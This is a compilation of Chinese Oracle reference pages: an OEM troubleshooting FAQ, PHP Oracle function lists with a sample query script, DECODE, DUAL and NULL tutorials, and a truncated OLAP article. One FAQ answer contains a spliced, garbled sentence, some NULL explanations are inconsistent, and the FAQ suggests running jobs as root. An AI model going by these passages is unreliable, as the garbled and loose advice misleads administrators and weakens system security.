     A： 作 业 在 OEM 控 制 台 创 建 并 且 到 被 通 过 SQL*net 送 至 智 能 化 代 理。 一 旦 当 智 能 化 代 理 接 受 作 业 请 求 , 会 发 送 一 个 通 知 回 到 OEM 控 制 台， 状 态 变 化 到“预 定”。 如 果 状 态 从 未 从 提 交 变 化 到 预 定 , 那 代 理 程 序 可 能 没 有 收 到 作 业 请 求。
     确 定 代 理 程 序 是 否 已 经 启 动， 确 定 SQL*net 和 OEM 是 否 已 经 适 当 配 置。

     Q： 作 业 状 态 一 直 为 预 定， 未 变 为 运 行
     A： 当 代 理 程 序 开 始 运 行 作 业 的 时 候， 会 发 送 一 个 通 知 回 到 OEM 控 制 台， 状 态 变 化 到“已 发 送” 或“启 动”。 如 果 作 业 状 态 一 直 为 预 定 而 无 变 化， 那 可 能 是 代 理 程 序 不 能 打 开 一 个 socket 回 到 OEM 控 制 台， 原 因 可 能 是 TCP/IP 问 题 或 代 理 程 序 没 有 足 够 权 限 去 派 生 一 个 进 程 来 运 行 作 业。
     在 服 务 器 端 使 用 主 机 名 来 Ping 控 制 台， 以 此 确 定 TCP/IP 不 存 在 问 题； 确 认 运 行 作 业 的 数 据 库 用 户 具 有 dba, connect, resource 权 限。

     Q： 运 行 作 业 出 错， 错 误 信 息 为： "Failed to Authenticate User"。
     A： 在 NT 系 统 上 , 你 必 须 把 "Logon as a batch job" 权 限 授 予 登 录 用 户， 然 后 在 OEM Preferred Credentials 中 设 置 此 用 户。 如 果 代 理 程 序 是 一 个 7.3.x 的 代 理 程 序 , 那 这 个 用 户 必 须 是 一 个 本 地 的 NT 用 户 , 不 能 为 一 个 DOMAIN 用 户。
     在 Unix 系 统 上 , 代 理 程 序 的 权 限 应 为： -rwsr-xr-x root dba dbsnmp“s” 权 限 意 味 着 dbsnmp 进 程 将 用 root 用 户 的 权 限 运 行。 当 这 权 限 设 置 以 后 , 作 业 将 由 在 OEM 控 制 台 的 Preferred Credentials 窗 口 中 设 置 的 用 户 运 行。
     确 认 在 OEM 控 制 台 的 Preferred Credentials 窗 口 中 设 置 的 用 户 在 服 务 器 上 有 合 适 的 登 录 权 利。

     Q： 客 户 能 创 建 自 己 定 义 的 事 件 吗 ?
     A： 在 OEM 1.x 中， 客 户 不 能 创 建 自 己 定 义 的 事 件。 这 将 是 OEM 2.x 的 一 个 新 特 性。
     然 而 , 你 能 创 建 一 个 运 行 TCL 脚 本 的 作 业， 能 通 过 使 用 TCL 命 令 orareportevent 触 发 一 个 事 件。 有 关 orareportevent 的 进 一 步 信 息， 请 参 阅 OEM 应 用 开 发 者 手 册

     Q： 在 控 制 台 上 , 数 据 库 显 示 为 红 色 的 圆 圈 和 斜 线， 表 示 数 据 库 已 关 闭； 然 而 , 数 据 库 是 正 在 运 行 的。
     A： 如 果 数 据 库 , 监 听 进 程 或 节 点 显 示 为 红 色 的 圆 圈 和 斜 线， OEM 控 制 台 是 在 试 图 通 知 你 服 务 已 关 闭。 如 果 服 务 未 关 闭， 你 需 要 在 事 件 窗 口 中 单 击“Outstanding Events tab” 并 将 通 知 移 动 至 历 史 记 录， 这 应 该 从 导 航（navigator） 和 地 图（map） 窗 口 中 清 除 关 闭 提 示。

     Q： 怎 样 创 建 OEM Repository？
     A： OEM Repository 是 在 Oracle7 或 Oracle8 数 据 库 中 的 一 组 表， 这 些 表 存 储 了 通 过 OEM 控 制 台 图 形 化 浏 览 的 信 息。 在 OEM 1.x 结 构 中， 这 些 表 存 储 在 一 个 特 定 的 用 户 下 并 且 不 能 与 另 外 的 用 户 共 享。 在 OEM 1.2.x， 应 该 用 一 个 非“system” 用 户 登 录 来 运 行 脚 本 SMPCRE.SQL， 此 用 户 必 须 有 connect,， resource 和 dba 权 限。 在 OEM 1.3.x， 初 次 激 活 OEM 控 制 台 图 标 时 将 自 动 地 创 建 Repository。 如 果 已 存 在 一 个 早 期 版 本 的 repository， 会 提 示 更 新 表； 如 果 没 有 OEM 表， 会 提 示 创 建 表。

     Q： 怎 样 自 定 义 OEM 工 具 栏？
     A： 如 果 要 设 定 OEM 工 具 栏， 应 在 工 具 栏 上 按 右 键； 选 择 Customize tab。 你 能 编 辑 工 具 栏 项 目 的 名 字 , 删 除 项 目 , 或 添 加 项 目。 如 果 在 Database tab 上 单 击， 可 以 进 入 logon credentials， 为 每 数 据 库 选 择 一 个 默 认 值 输 入 项 .

     Q： 当 登 录 至 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VOC-00002： Failure to obtain interface login
     A： 原 因 是 OEM 通 信 后 台 进 程 不 能 打 开 一 个 与 Repository 的 连 接。
     确 认 TCP/IP 配 置 正 确， 以 及 是 否 通 信 后 台 进 程 的 缺 省 参 数 已 被 修 改（使 用 Daemon Manager）。

     Q： 当 使 用 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VOC-00107： Failure setting credential detailsORA-03114： Not connected to ORACLE
     A： 原 因 是 OEM Repository 所 在 数 据 库 已 关 机， 或 是 连 接 数 据 库 的 服 务 发 生 了 网 络 故 障。

     Q： 当 使 用 SYSDBA 登 录 至 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VOC-00121： Failure updating or inserting a user detail entry
ORA-00942： Table or view does not exist
     A： 用 户 登 录 至 OEM 控 制 台 的 缺 省 角 色 是 NORMAL， 如 果 你 需 要 作 为 SYSDBA 连 接， 应 该 在 Preferred Credentials 窗 口 中 设 置 CONNECT AS SYSDBA 选 项。

     Q： 当 登 录 至 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VOC-00111： Oracle Daemon process could not be started
     A： 通 信 后 台 进 程 不 能 初 始 化 的 原 因 是 因 为 NT 或 Windows 95 的 登 录 库 输 入 项 (registry entries) 是 缺 少 或 无 效 的。
     在 命 令 提 示 符 状 态 下 手 工 地 运 行 VOD.EXE 注 册 .OCX。

     Q： 当 登 录 至 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VOD-00111： Oracle Daemon process could not be startedVODA.EXE： A device attached to the system is not functioningNCRNT.DLL： File is linked to missing export in NSNT.DLL:nsmhwk
     A： 原 因 是 在 同 一 个 ORACLE_HOME 中 安 装 了 2 个 以 上 版 本 的 SQL*Net V2， 应 该 仅 仅 运 行 与 OEM 光 盘 所 含 版 本 的 SQL*Net。
     启 动 Oracle 安 装 程 序 , 移 去 所 有 的 更 早 版 本 的 SQL*Net V2.X。

     Q： 当 登 录 至 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VOD-01413： Failed to listen for incoming connections
     A： 后 台 进 程 的 LISTENING ADDRESS 设 置 错 误 或 是 系 统 的 TCP/IP 未 设 置。

     Q： 当 登 录 至 OEM 控 制 台 时， 得 到 以 下 错 误 信 息：
     VAX-14001： Repository (x.x) is not compatible with the OEM (x.x)
     A： 原 因 是 在 此 用 户 中 找 不 到 Repository 表 格 或 当 创 建 Repository 表 格 时 发 生 问 题。
     应 重 新 创 建 Repository。

     Q： OEM 控 制 台 安 装 在 一 个 共 享 网 络 驱 动 器 上， 当 登 录 至 OEM 控 制 台 时， 得 到 GPF。
     A： 不 应 试 图 从 一 个 共 享 网 络 驱 动 器 运 行 OEM 控 制 台， OEM 1.x 产 品 应 该 安 装 在 每 个 工 作 站 的 本 地 盘 上。

     Q： 当 试 图 使 用 OEM 对 数 据 库 进 行 离 线 备 份 时 , 得 到 以 下 错 误 信 息：
     ORA-00942： SMP_OFFLINE_BACKUP_LOCK tables not found
     A： 用 DBSNMP 用 户 登 录 来 运 行 脚 本 BACKUPTS.SQL。

     Q： 当 试 图 使 用 OEM 对 数 据 库 进 行 热 备 份 时 , 得 到 以 下 错 误 信 息：
     "call to alter tablespace backup failed"NMS-5001: unable to start HOT backup
     A： 数 据 库 不 在 ArchiveLog 方 式。
     将 数 据 库 改 为 ArchiveLog 方 式。

     Q： 当 试 图 升 级 或 创 建 一 个 新 的 repository 时 , 得 到 以 下 错 误 信 息：
     VOJ-7016: Error Inserting into <table> select <column> from <table>
     A： 如 果 是 从 OEM 1.2.2 升 级 到 OEM 1.3.5， 这 是 一 个 BUG。 可 以 运 行 SMPCRE.SQL 来 删 除 1.2.2 仓 库 或 联 系 Oracle WorldWide Support 以 得 到 PATCH。
     如 果 这 不 是 升 级 而 是 一 个 新 的 安 装， 应 检 查 用 户 所 在 表 空 间， 修 改 存 储 参 数 或 增 加 新 的 数 据 文 件。

     Q： 在 安 装 OEM 1.3.5 时， 得 到 以 下 错 误 信 息：
     "oem10.ins 154 write error while copying file
     c:\windows\system\oleaut32.new"
     A： 安 装 程 序 试 图 用 一 个 较 老 版 本 的 oleaut32.dll 来 覆 盖 当 前 的 文 件。
     将 oleaut32.dll 拷 贝 为 oleaut32.old， 然 后 重 新 启 动 Oracle 安 装 程 序。

     Q： 在 OEM 控 制 台 提 交， 预 定， 运 行 一 个 作 业， 在“完 成” 状 态 上 双 击， 输 出 为：
     "Output from job xxx lost"
     A： 原 因 是 代 理 程 序 没 有 权 限 创 建 临 时 的 输 出 文 件。
     确 认 运 行 作 业 和 启 动 代 理 程 序 的 用 户 在 $ORACLE_HOME/network/agent 目 录 有 足 够 的 权 限。 确 认 在 数 据 库 中 存 在 "dbsnmp" 用 户 和 "snmpagent" 角 色。

     Q： 在 OEM 控 制 台 试 图 运 行 一 个 作 业， 作 业 状 态 显 示 为 "Submitted" "Failed"， 在 Failed 上 双 击， 输 出 为： "Failed to Authenticate User"
     A： 在 OEM Preferred Credentials 中 指 定 的 节 点 登 录 用 户 没 有 正 确 的 OS 权 限。
     进 入 OEM， 选 择 FILE->PREFERENCES， 选 择 节 点（而 不 是 数 据 库）， 输 入 一 个 有 效 的 OS 用 户。 注 意： 在 NT 服 务 器 上， 此 用 户 必 须 有 "LOGON AS BATCH JOB" 的 NT 系 统 权 限。
     如 果 是 在 一 个 unix 服 务 器 上 运 行 作 业 而 且 已 经 正 确 设 置 了 Preferred Credentials， 那 可 能 是 代 理 程 序 的 特 定 端 口 问 题。 有 两 种 方 案：
     1. 在 Preferred Credentials 中 使 用 "root" 用 户。
     或 2. 将 dbsnmp 的 所 有 者 从 Change the ownership of from "root" to "oracle".

     Q： 在 OEM 控 制 台 试 图 运 行 一 个 作 业 或 登 记 一 个 事 件 时， 得 到 以 下 错 误 信 息：
     "Invalid Service Name or ORA-12154"
     A： 原 因 是 存 储 在 repository 中 的 连 接 字 符 串 与 存 储 在 服 务 器 和 客 户 机 上 的 TNSNAMES.ORA 中 的 连 接 字 符 串 不 匹 配。
     确 认 所 有 的 系 统 使 用 相 同 的 服 务 描 述 符 或 连 接 串。

     Q： 当 在 OEM 1.3.5 版 中 试 图 运 行 一 个 EXPORT 任 务， EXPORT 似 乎 已 经 完 成， 但 是 作 业 状 态 总 是 显 示 为 "Failed"。
     A： 这 是 OEM 1.3.5 版 中 的 一 个 BUG， 事 实 上， EXPORT 已 经 完 成， 系 统 中 已 生 成 一 个 ex 因 是 代 理 程 序 不 能 将 OEM 控 制 台 所 在 的 客 户 机 的 HOSTNAME 解 析 到 它 的 IPADDRESS port.dmp 文 件。
     应 升 级 到 OEM 的 一 个 更 高 的 版 本。 在 新 版 本 中， .OCX 文 件 被 完 全 重 写 来 改 正 先 前 的 版 本 中 所 有 的 错 误。

     Q： 当 试 图 在 远 程 运 行 一 个 作 业 时， 控 制 台 状 态 一 直 是 "Scheduled"； 但 在 服 务 器 发 现 *.jou 文 件 显 示 作 业 已 经 完 成。
     A： 原 因 是 代 理 程 序 不 能 将 OEM 控 制 台 所 在 的 客 户 机 的 HOSTNAME 解 析 为 IPADDRESS。
     在 服 务 器 上 的 HOSTS 文 件 中 输 入 此 客 户 机 的 HOSTNAME 与 IPADDRESS； 另 一 个 解 决 方 案 是 通 过 Daemon Manager 将 监 听 地 址 从 not found 修 改 为 (description = (address = ( protocol = tcp ) ( host = <ipaddress of the client>) ( port=7770 ) ) )

     Q： 作 业 一 直 不 能 完 成， 总 是 处 于 submitted 或 scheduled 状 态。
     A： 如 果 作 业 总 处 于 提 交 的 状 态， 那 是 因 为 Communication Daemon 无 法 将 作 业 传 递 给 代 理 程 序。
     应 确 认 服 务 器 上 代 理 程 序 处 于 运 行 状 态， 而 且 SQL*Net 已 经 连 通， 打 开 进 程 跟 踪 程 序。
     如 果 作 业 总 处 于 预 定 的 状 态 且 在 服 务 器 上 没 有 .jou 文 件 存 在， 那 是 因 为 代 理 程 序 没 有 权 限 派 生 一 个 进 程 来 处 理 作 业。
     应 确 认 用 户 的 OS 权 限， 应 用 与 数 据 库 用 户 相 同 的 权 限 来 启 动 代 理 程 序。

     Q： 已 为 某 个 特 别 事 件 定 义 了 email 通 知， 当 系 统 试 图 发 送 一 email 给 系 统 管 理 员 时， 得 到 以 下 错 误 信 息： "CreateDispatch to Mail Broker Failed"
     A： 原 因 是 OEM 控 制 台 不 能 定 位 mail/paging broker 的 OLE interface。
     应 双 击 $ORACLE_HOME/sysman/admin/vmem.reg 或 在 DOS 命 令 提 示 符 下 运 行 VMEM.EXE。

     Q： 在 试 图 注 册 事 件 时， 注 册 不 成 功， 返 回 状 态 为 "Failed" 或 "Pending"。
     A： 如 果 事 件 返 回 状 态 为 "Failed"， 应 该 检 查 数 据 库 和 OS 权 限。
     如 果 事 件 返 回 状 态 为 "Pending"， 应 该 检 查 代 理 程 序。 可 能 是 代 理 程 序 未 运 行 或 是 在 控 制 台 的 通 信 进 程 和 代 理 程 序 之 间 的 通 信 工 作 不 正 常。

     Q： 试 图 使 用 Instance Manager 或 OEM 作 业 关 闭 数 据 库 时， 得 到 以 下 错 误 信 息：
     ORA-1031: Insufficient Priviledges
     A： 如 果 试 图 用 一 个 INTERNAL 以 外 的 用 户 关 闭 数 据 库， 必 须 在 登 录 时 使 用 "Connect as SYSDBA" 选 项。 只 有 在 数 据 库 的 Preferred Credentials 已 设 置 为 此 选 项 而 且 用 户 已 被 授 予 此 权 限 的 情 况 下， OEM 控 制 台 才 会 通 过。

     以 上 介 绍 了 一 些 OEM 的 常 见 问 题 及 其 解 决 方 法， 希 望 能 帮 助 大 家 更 好 的 使 用 OEM。


Oracle 8 资料库函式库

本函式库共有 15 个函式

由于本函式库都是呼叫 Oracle8 Call-Interface (OCI8) 来存取 Oracle 资料库，因此在装设 Oracle 8 Client 的 Web 伺服器上，可用本函式库存取 Oracle 7.x 或 8.x 二种版本的资料库伺服器。

OCIDefineByName: | 让 SELECT 指令可使用 PHP 变数。
OCIBindByName: | 让动态 SQL 可使用 PHP 变数。
OCILogon: | 开启与 Oracle 的连结。
OCILogOff: | 关闭与 Oracle 的连结。
OCIExecute: | 执行 Oracle 的指令区段。
OCICommit: | 将 Oracle 的交易处理付诸实行。
OCIRollback: | 撤消当前交易。
OCINumRows: | 取得受影响栏位的数目。
OCIResult: | 从目前列 (row) 的资料取得一栏 (column)。
OCIFetch: | 取得传回资料的一列 (row)。
OCIFetchInto: | 取回 Oracle 资料放入阵列。
OCIColumnIsNULL: | 测试传回行是否为空的。
OCIColumnSize: | 取得栏位型态的大小。
OCINewDescriptor: | 初始新的 LOB/FILE 描述。
OCIParse: | 分析 SQL 语法。

[ 下一页 ]


Oracle 资料库函式库

本函式库共有 22 个函式

要使用这个函式库，要在安装 PHP 及 Apache Server 之前先将 Oracle 资料库安装好，并确定 Oracle 能够顺利运作。之后在 PHP 设定 (configure) 时加入 --with-oracle=DIR 的选项，DIR 就是 $ORACLE_HOME 环境变数，例如：

./configure --with-oracle=/abc/def/oracle/product/7.0.3 --with-apache=../apache_1.3.x --enable-track-vars

以下的范例是 stevel@nettek-llc.com (22-Jan-1999) 所提供的。这个范例是传回 Oracle 中 sid1 资料库 (Database) 的 EMP 资料表 (Table) 所有资料。帐号是 SCOTT、密码为 TIGER。

<?php

putenv("ORACLE_SID=sid1");
putenv("ORACLE_HOME=/u01/app/oracle/product/8.0.5");

$handle = ora_plogon("SCOTT@sid1", "TIGER") or die;
$cursor = ora_open($handle);
ora_commitoff($handle);

$query = "SELECT * FROM EMP";
ora_parse($cursor, $query) or die;
ora_exec($cursor);

echo "<HTML><PRE>\n";
echo "$query\n\n";
$numcols = 0;
while(ora_fetch($cursor)) {
$numcols = ora_numcols($cursor);
for ($column=0; $column < $numcols; $column++) {
$data = trim(ora_getcolumn($cursor, $column));
if($data == "") $data = "NULL";
echo "$data\t";
}
echo "\n";
}
$numrows = ora_numrows($cursor);
echo "\nROWS RETURNED: $numrows\n";
echo "</PRE></HTML>\n";

ora_close($cursor);

?>

kk@shonline.de (05-Aug-1998) 指出 ORACLE_HOME 为 Oracle 的安装路径，ORACLE_SID 为 Oracle 的资料库名称，若不知道这二个环境变数可以用 sqlplus 连上 Oracle 来查证。

Ora_Bind: | 连结 PHP 变数到 Oracle 参数。
Ora_Close: | 关闭一个 Oracle 的 cursor。
Ora_ColumnName: | 得到 Oracle 传回列 (Column) 的名称。
Ora_ColumnType: | 得到 Oracle 传回列 (Column) 的型态。
Ora_Commit: | 将 Oracle 的交易处理付诸实行。
Ora_CommitOff: | 关闭自动执行 Oracle 交易更动的功能。
Ora_CommitOn: | 打开自动执行 Oracle 交易更动的功能。
Ora_Error: | 获得 Oracle 错误讯息。
Ora_ErrorCode: | 获得 Oracle 错误代码。
Ora_Exec: | 执行 Oracle 的指令区段。
Ora_Fetch: | 取得传回资料的一列 (row)。
Ora_GetColumn: | 从传回列 (row) 的资料取得一栏 (column)。
Ora_Logoff: | 结束与 Oracle 的连结。
Ora_Logon: | 开启与 Oracle 的连结。
Ora_Open: | 开启 Oracle 的 cursor。
Ora_Parse: | 分析 SQL 语法。
Ora_Rollback: | 撤消当前交易。
Ora_Do: | 快速的 SQL 查询。
Ora_FetchInto: | 取回 Oracle 资料放入阵列。
Ora_ColumnSize: | 取得栏位型态的大小。
Ora_Numcols: | 取得栏位的数目。
Ora_PLogon: | 开启与 Oracle 的长期连结。

[ 上一页 ]


Oracle技术网—Decode()函数使用技巧（NT+IIS+ASP+ORACLE）

位置：首页→Oracle其他知识→

【点击：】 阿木伯 著
Decode()函数使用技巧
  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 含义解释：
      DECODE(条件,值1,翻译值1,值2,翻译值2,...值n,翻译值n,缺省值)

      该函数的含义如下：
      IF 条件=值1 THEN
              RETURN(翻译值1)
      ELSIF 条件=值2 THEN
              RETURN(翻译值2)
              ......
      ELSIF 条件=值n THEN
              RETURN(翻译值n)

      ELSE
              RETURN(缺省值)
      END IF
  • 使用方法：
      1、比较大小
      select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值
      sign()函数根据某个值是0、正数还是负数，分别返回0、1、-1

      例如：
      变量1=10，变量2=20
      则sign(变量1-变量2)返回-1，decode解码结果为“变量1”，达到了取较小值的目的。

      2、表、视图结构转化
      现有一个商品销售表sale，表结构为：
      month　　　 char(6)　　　　　 --月份
      sell　　　　number(10,2)　　　--月销售金额

      现有数据为：
      200001　　1000
      200002　　1100
      200003　　1200
      200004　　1300
      200005　　1400
      200006　　1500
      200007　　1600
      200101　　1100
      200202　　1200
      200301　　1300

      想要转化为以下结构的数据：
      year　　　char(4)　　　　　 --年份
      month1　　number(10,2)　　　--1月销售金额
      month2　　number(10,2)　　　--2月销售金额
      month3　　number(10,2)　　　--3月销售金额
      month4　　number(10,2)　　　--4月销售金额
      month5　　number(10,2)　　　--5月销售金额
      month6　　number(10,2)　　　--6月销售金额
      month7　　number(10,2)　　　--7月销售金额
      month8　　number(10,2)　　　--8月销售金额
      month9　　number(10,2)　　　--9月销售金额
      month10　　number(10,2)　　　--10月销售金额
      month11　　number(10,2)　　　--11月销售金额
      month12　　number(10,2)　　　--12月销售金额

      结构转化的SQL语句为：
      create or replace view
      v_sale(year,month1,month2,month3,month4,month5,month6,month7,month8,month9,month10,month11,month12)
      as
              select
              substrb(month,1,4),
              sum(decode(substrb(month,5,2),'01',sell,0)),
              sum(decode(substrb(month,5,2),'02',sell,0)),
              sum(decode(substrb(month,5,2),'03',sell,0)),
              sum(decode(substrb(month,5,2),'04',sell,0)),
              sum(decode(substrb(month,5,2),'05',sell,0)),
              sum(decode(substrb(month,5,2),'06',sell,0)),
              sum(decode(substrb(month,5,2),'07',sell,0)),
              sum(decode(substrb(month,5,2),'08',sell,0)),
              sum(decode(substrb(month,5,2),'09',sell,0)),
              sum(decode(substrb(month,5,2),'10',sell,0)),
              sum(decode(substrb(month,5,2),'11',sell,0)),
              sum(decode(substrb(month,5,2),'12',sell,0))
              from sale
              group by substrb(month,1,4);

                                                        阿木伯

           转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/
Decode()函数使用技巧


Oracle技术网—Dual伪列

位置：首页→Oracle其他知识→

【点击：】 阿木伯 著
Dual伪列
  • 软件环境：
      1、操作系统：Windows 2000 Server
      2、数 据 库：Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 含义解释：
      Dual 是 Oracle中的一个实际存在的表，任何用户均可读取，常用在没有目标表的Select中。
  • 使用方法：
    查看当前连接用户
SQL> select user from dual;

USER
------------------------------
SYSTEM

查看当前日期、时间
SQL> select sysdate from dual;

SYSDATE
----------
18-3月 -01

SQL> select to_char(sysdate,'yyyy-mm-dd hh24:mi:ss') from dual;

TO_CHAR(SYSDATE,'YY
-------------------
2001-03-18 22:37:56

当作计算器用
SQL> select 1+2 from dual;

       1+2
----------
         3

查看序列值
SQL> create sequence aaa increment by 1 start with 1;
SQL> select aaa.nextval from dual;

SQL> select aaa.nextval from dual;

   NEXTVAL
----------
         1

SQL> select aaa.currval from dual;

   CURRVAL
----------
         1


Oracle技术网—NULL 使用详解

位置：首页→Oracle其他知识→

【点击：】 阿木伯 著
NULL 使用详解
  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 含义解释：
      问：什么是NULL？
      答：在我们不知道具体有什么数据的时候，也即未知，可以用NULL，我们称它为空，ORACLE中，含有空值的表列长度为零。
      ORACLE允许任何一种数据类型的字段为空，除了以下两种情况：
      1、主键字段（primary key），
      2、定义时已经加了NOT NULL限制条件的字段

      说明：
      1、等价于没有任何值、是未知数。
      2、NULL与0、空字符串、空格都不同。
      3、对空值做加、减、乘、除等运算操作，结果仍为空。
      4、NULL的处理使用NVL函数。
      5、比较时使用关键字用“is null”和“is not null”。
      6、空值不能被索引，所以查询时有些符合条件的数据可能查不出来，count(*)中，用nvl(列名,0)处理后再查。
      7、排序时比其他数据都大（索引默认是降序排列，小→大），所以NULL值总是排在最后。
  • 使用方法：
    SQL> select 1 from dual where null=null;

没有查到记录

SQL> select 1 from dual where null='';

没有查到记录

SQL> select 1 from dual where ''='';

没有查到记录

SQL> select 1 from dual where null is null;

        1
---------
        1

SQL> select 1 from dual where nvl(null,0)=nvl(null,0);

        1
---------
        1

对空值做加、减、乘、除等运算操作，结果仍为空。
SQL> select 1+null from dual;
SQL> select 1-null from dual;
SQL> select 1*null from dual;
SQL> select 1/null from dual;

查询到一个记录.

注：这个记录就是SQL语句中的那个null

设置某些列为空值
update table1 set 列1=NULL where 列1 is not null;

现有一个商品销售表sale，表结构为：
month　　　 char(6)　　　　　 --月份
sell　　　　number(10,2)　　　--月销售金额

create table sale (month char(6),sell number);
insert into sale values('200001',1000);
insert into sale values('200002',1100);
insert into sale values('200003',1200);
insert into sale values('200004',1300);
insert into sale values('200005',1400);
insert into sale values('200006',1500);
insert into sale values('200007',1600);
insert into sale values('200101',1100);
insert into sale values('200202',1200);
insert into sale values('200301',1300);
insert into sale values('200008',1000);
insert into sale(month) values('200009');（注意：这条记录的sell值为空）
commit;
共输入12条记录

SQL> select * from sale where sell like '%';

MONTH       SELL
------ ---------
200001      1000
200002      1100
200003      1200
200004      1300
200005      1400
200006      1500
200007      1600
200101      1100
200202      1200
200301      1300
200008      1000

查询到11记录.

结果说明：
查询结果说明此SQL语句查询不出列值为NULL的字段
此时需对字段为NULL的情况另外处理。
SQL> select * from sale where sell like '%' or sell is null;
SQL> select * from sale where nvl(sell,0) like '%';

MONTH       SELL
------ ---------
200001      1000
200002      1100
200003      1200
200004      1300
200005      1400
200006      1500
200007      1600
200101      1100
200202      1200
200301      1300
200008      1000
200009

查询到12记录.

Oracle的空值就是这么的用法，我们最好熟悉它的约定，以防查出的结果不正确。

                                                        阿木伯

           转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/
Decode()函数使用技巧


Oracle技术网—OLAP及其多维数据分析

OLAP及其多维数据分析

国防科技大学系统工程与数学系 陈元 陈文伟

    联机分析处理（OLAP）的概念最早是由关系数据库之父E.F.Codd于1993年提出的。当时，Codd认为联机事务处理(OLTP）已不能满足终端用户对数据库查询分析的需要，SQL对大数据库进行的简单查询也不能满足用户分析的需求。用户的决策分析需要对关系数据库进行大量计算才能得到结果，而查询的结果并不能满足决策者提出的需求。因此Codd提出了多维数据库和多维分析的概念，即OLAP。

一、OLAP的概念

    根据OLAP产品的实际应用情况和用户对OLAP产品的需求，人们提出了一种对OLAP更简单明确的定义，即共享多维信息的快速分析。

（1）快速性

    用户对OLAP的快速反应能力有很高的要求。系统应能在5秒内对用户的大部分分析要求做出反应。如果终端用户在30秒内没有得到系统响应就会变得不耐烦，因而可能失去分析主线索，影响分析质量。对于大量的数据分析要达到这个速度并不容，因此就更需要一些技术上的支持，如专门的数据存储格式、大量的事先运算、特别的硬件设计等。

（2）可分析性

    OLAP系统应能处理与应用有关的任何逻辑分析和统计分析。尽管系统需要事先编程，但并不意味着系统已定义好了所有的应用。用户无需编程就可以定义新的专门计算，将其作为分析的一部分，并以用户理想的方式给出报告。用户可以在OLAP平台上进行数据分析，也可以连接到其他外部分析工具上，如时间序列分析工具、成本分配工具、意外报警、数据开采等。

（3）多维性

    多维性是OLAP的关键属性。系统必须提供对数据分析的多维视图和分析，包括对层次维和多重层次维的完全支持。事实上，多维分析是分析企业数据最有效的方法，是OLAP的灵魂。

（4）信息性

    不论数据量有多大，也不管数据存储在何处，OLAP系统应能及时获得信息，并且管理大容量信息。这里有许多因素需要考虑，如数据的可复制性、可利用的磁盘空间、OLAP产品的性能及与数据仓库的结合度等。

二、OLAP的多维数据概念

    多维结构是决策支持的支柱，也是OLAP的核心。OLAP展现在用户面前的是一幅幅多维视图。

1．维

    假定某某是个百货零售商，有一些因素会影响他的销售业务，如商品、时间、商店或流通渠道，更具体一点，如品牌、月份、地区等。对某一给定的商品，也许他想知道该商品在哪个商店和哪段时间的销售情况。对某一商店，也许他想知道哪个商品在哪段时间的销售情况。在某一时间，也许他想知道哪个商店哪种产品的销售情况。因此，他需要决策支持来帮助制定销售政策。

    这里，商店、时间和产品都是维。各个商店的集合是一维，时间的集合是一维，商品的集合是一维。维就是相同类数据的集合，也可以理解为变量。而每个商店、每段时间、每种商品都是某一维的一个成员。每个销售事实由一个特定的商店、特定的时间和特定的商品组成。

    维有自己固有的属性，如层次结构（对数据进行聚合分析时要用到）、排序（定义变量时要用到）、计算逻辑（是基于矩阵的算法，可有效地指定规则）。这些属性对进行决策支持是非常有用的。

2．多维性

    人们很容易理解一个二维表(如通常的电子表格)，对于三维立方体同样也容易理解。OLAP通常将三维立方体的数据进行切片，显示三维的某一平面。如一个立方体有时间维、商品维、收入维，其图形很容易在屏幕上显示出来并进行切片。但是要加一维（如加入商店维），则图形很难想象，也不容易在屏幕上画出来。要突破三维的障碍，就必须理解逻辑维和物理维的差异。OLAP的多维分析视图就是冲破了物理的三维概念，采用了旋转、嵌套、切片、钻取和高维可视化技术，在屏幕上展示多维视图的结构，使用户直观地理解、分析数据，进行决策支持。

三、OLAP的多维数据结构

    数据在多维空间中的分布总是稀疏的、不均匀的。在事件发生的位置，数据聚合在一起，其密度很大。因此，OLAP系统的开发者要设法解决多维数据空间的数据稀疏和数据聚合问题。事实上，有许多方法可以构造多维数据。

1．超立方结构

    超立方结构（Hypercube）指用三维或更多的维数来描述一个对象，每个维彼此垂直。数据的测量值发生在维的交叉点上，数据空间的各个部分都有相同的维属性。

    这种结构可应用在多维数据库和面向关系数据库的OLAP系统中，其主要特点是简化终端用户的操作。

    超立方结构有一种变形，即收缩超立方结构。这种结构的数据密度更大，数据的维数更少，并可加入额外的分析维。

2．多立方结构

    在多立方结构（Multicube）中，将大的数据结构分成多个多维结构。这些多维结构是大数据维数的子集，面向某一特定应用对维进行分割，即将超立方结构变为子立方结构。它具有很强的灵活性，提高了数据（特别是稀疏数据）的分析效率。

    一般来说，多立方结构灵活性较大，但超立方结构更易于理解。终端用户更容易接近超立方结构，它可以提供高水平的报告和多维视图。但具有多维分析经验的MIS专家更喜欢多立方结构，因为它具有良好的视图翻转性和灵活性。多立方结构是存储稀疏矩阵的一个更有效方法，并能减少计算量。因此，复杂的系统及预先建立的通用应用倾向于使用多立方结构，以使数据结构能更好地得到调整，满足常用的应用需求。

    许多产品结合了上述两种结构，它们的数据物理结构是多立方结构，但却利用超立方结构来进行计算，结合了超立方结构的简化性和多立方结构的旋转存储特性。

3． 活动数据的存储

    用户对某个应用所提取的数据称为活动数据，它的存储有以下三种形式：

（1）关系数据库

    如果数据来源于关系数据库，则活动数据被存储在关系数据库中。在大部分情况下，数据以星型结构或雪花结构进行存储。

（2）多维数据库

    在这种情况下，活动数据被存储在服务器上的多维数据库中，包括来自关系数据库和终端用户的数据。通常，数据库存储在硬盘上，但为了获得更高的性能，某些产品允许多维数据结构存储在RAM上。有些数据被提前计算，计算结果以数组形式进行存储。

（3）基于客户的文件

    在这种情况下，可以提取相对少的数据放在客户机的文件上。这些数据可预先建立，如Web文件。与服务器上的多维数据库一样，活动数据可放在磁盘或RAM上。

    这三种存储形式有不同的性能，其中关系数据库的处理速度大大低于其他两种。

4．OLAP数据的处理方式

